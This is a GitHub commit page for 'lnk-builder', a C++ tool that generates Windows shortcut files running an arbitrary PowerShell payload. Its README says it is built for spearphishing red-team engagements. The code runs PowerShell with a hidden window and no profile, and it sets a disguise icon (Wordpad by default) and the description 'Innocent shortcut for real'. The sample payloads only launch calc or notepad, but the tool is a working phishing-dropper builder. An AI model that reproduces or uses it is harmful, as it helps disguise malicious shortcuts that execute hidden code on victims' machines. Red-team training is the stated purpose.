Skip to content

Commit

Permalink
release 1
Browse files Browse the repository at this point in the history
  • Loading branch information
idfp committed Sep 10, 2023
1 parent 696b645 commit 879fff1
Show file tree
Hide file tree
Showing 4 changed files with 137 additions and 10 deletions.
3 changes: 3 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,3 +1,6 @@
builddir
build
*.lnk
*.ico
*.jpg
generator.ps1
46 changes: 46 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
# LNK File Builder
Programmatically build a LNK file (shortcut file) that executes certain powershell script. Built mainly for spearphishing red-team engagement, with cpp and meson.

> Disclaimer:
> I, the creator of this program, has no responsibility for whatever you do with this tool. This tool was made solely for training and demonstration. Do anything at your own risk.
## Building / Installation

You can either build this tool from the source code with meson, or just simply downloading the precompiled binary. This tool currently only support 64 bit windows environment and I have no intention to support any other environment.

### Building From Source
Make sure you have meson installed, its easier to use meson rather than gcc or visual studio but you can choose anything you desire.

```
git clone https://github.com/idfp/lnk-builder
cd lnk-builder/
```
Build the project first before compiling it again with meson.
```
meson build
cd build
meson compile
```
If everything went smooth, you'll get an executable named `lnkbuilder.exe`.

### Precompiled Binary
I planned to put it in release page, for now just clone the repo and use `lnkbuilder.exe` in root folder of this project.

```
git clone https://github.com/idfp/lnk-builder
cd lnk-builder/
lnkbuilder.exe
```

## Usage
```ruby
Usage: lnkbuilder.exe [Options]
Options:
--description / -d set description for lnk file.
--payload / -p payload to be executed, must be powershell script.
--file / -f get payload from ps1 file.
--icon / -i icon to be used.
--output / -o name of output files, should ends with .lnk

Example: lnkbuilder.exe --payload "Start-Process notepad.exe" -o notepad.lnk
```
Binary file added lnkbuilder.exe
Binary file not shown.
98 changes: 88 additions & 10 deletions main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -20,17 +20,34 @@
#include "objidl.h"
#include "shlguid.h"
#include "string"
#include "map"
#include "stdio.h"
// LPSTR curdir, LPSTR icon, int iconIndex
HRESULT CreateLink(LPSTR target, LPSTR args, LPSTR linkFile, LPSTR desc, int showmode)
#include "iostream"
#include "type_traits"

HRESULT CreateLink(LPSTR target, LPSTR args, LPSTR linkFile, LPSTR desc, LPSTR icon, int showmode)
{
printf("creating shortcut file...\n");
HRESULT hres;
IShellLink* psl;
IPersistFile* ppf;
WCHAR wsz[MAX_PATH];
int wideCharWritten;
CoInitialize(NULL);

// Get the full path
char iconPathC[MAX_PATH];
DWORD length = GetFullPathName(icon, MAX_PATH, iconPathC, nullptr);

if (length == 0) {
std::cerr << "Error getting full path. Error code: " << GetLastError() << std::endl;
return 1;
}
std::cout << "Setting icon from file: " << iconPathC << "\n";
size_t len = strlen(iconPathC) + 1;
LPSTR iconPath = new char[len];

strcpy_s(iconPath, len, iconPathC);

// Get a pointer to the IShellLink interface. It is assumed that CoInitialize
// has already been called.
hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl);
Expand All @@ -44,7 +61,7 @@ HRESULT CreateLink(LPSTR target, LPSTR args, LPSTR linkFile, LPSTR desc, int sho
psl->SetDescription(desc);
psl->SetShowCmd(showmode);
// psl->SetWorkingDirectory(curdir);
// psl->SetIconLocation(icon, iconIndex);
psl->SetIconLocation(iconPath, 0);

// Query IShellLink for the IPersistFile interface, used for saving the
// shortcut in persistent storage.
Expand All @@ -64,14 +81,75 @@ HRESULT CreateLink(LPSTR target, LPSTR args, LPSTR linkFile, LPSTR desc, int sho
}
psl->Release();
}
delete[] iconPath;
return hres;
}

int main(){
LPSTR res = "D:\\workspace\\lnk-builder\\chrome.lnk";
LPSTR desc = "whatever";
void printHelp(){
char help[] = "Usage: lnkbuilder.exe [Options]\n"
"Options: \n\t--description / -d set description for lnk file.\n"
"\t--payload / -p payload to be executed, must be powershell script.\n"
"\t--file / -f get payload from ps1 file.\n"
"\t--icon / -i icon to be used.\n"
"\t--output / -o name of output files, should ends with .lnk\n"
"Example: lnkbuilder.exe --payload \"Start-Process notepad.exe\" -o notepad.lnk\n";
printf(help);
}

std::string cleanArg(std::string str) {
char characterToRemove = '-';
// Iterate up to the minimum of the length of the string and 3
for (size_t i = 0; i < std::min(str.length(), (size_t)3); i++) {
if (str[i] == characterToRemove) {
str.erase(i, 1); // Remove 1 character at position i
i--; // Adjust the index to account for the erased character
}
}
return str;
}

int main(int argc, char* argv[]){
std::map<std::string, std::string> options;
options["description"] = "Innocent shortcut for real";
options["payload"] = "Start-Process calc.exe";
options["output"] = "output.lnk";
options["icon"] = "C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe";
options["file"] = "/dev/null";
if(argc < 2){
printf("ERR: Please pass correct amount of parameters.\n");
printHelp();
return 0;
}

for (std::pair<std::string, std::string> element : options) {
std::string key = element.first;
std::string value = element.second;
char x = key[0];
std::string keyshort(1, x);
for( int i = 1; i < argc; i++ ){
std::string arg(argv[i]);
// skip the overload if args doesnt start with - or --
if (arg.rfind("-", 0) == 0) {
arg = cleanArg(arg);
if(key == arg){
if(argv[i+1] != NULL){
options[key] = argv[i + 1];
}
}else if(keyshort == arg){
if(argv[i+1] != NULL){
options[key] = argv[i + 1];
}
}
}
}
}
options["output"] = "./" + options["output"];
options["payload"] = "-Nop -sta -noni -w hidden " + options["payload"];
LPSTR res = const_cast<char *>(options["output"].c_str());
LPSTR desc = const_cast<char *>(options["description"].c_str());
LPSTR target = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
LPSTR args = "-Nop -sta -noni -w hidden Start-Process calc.exe";
CreateLink(target, args, res, desc, 7);
LPSTR args = const_cast<char *>(options["payload"].c_str());
LPSTR icon = const_cast<char *>(options["icon"].c_str());
CreateLink(target, args, res, desc, icon, 7);
return 0;
}
}

0 comments on commit 879fff1

Please sign in to comment.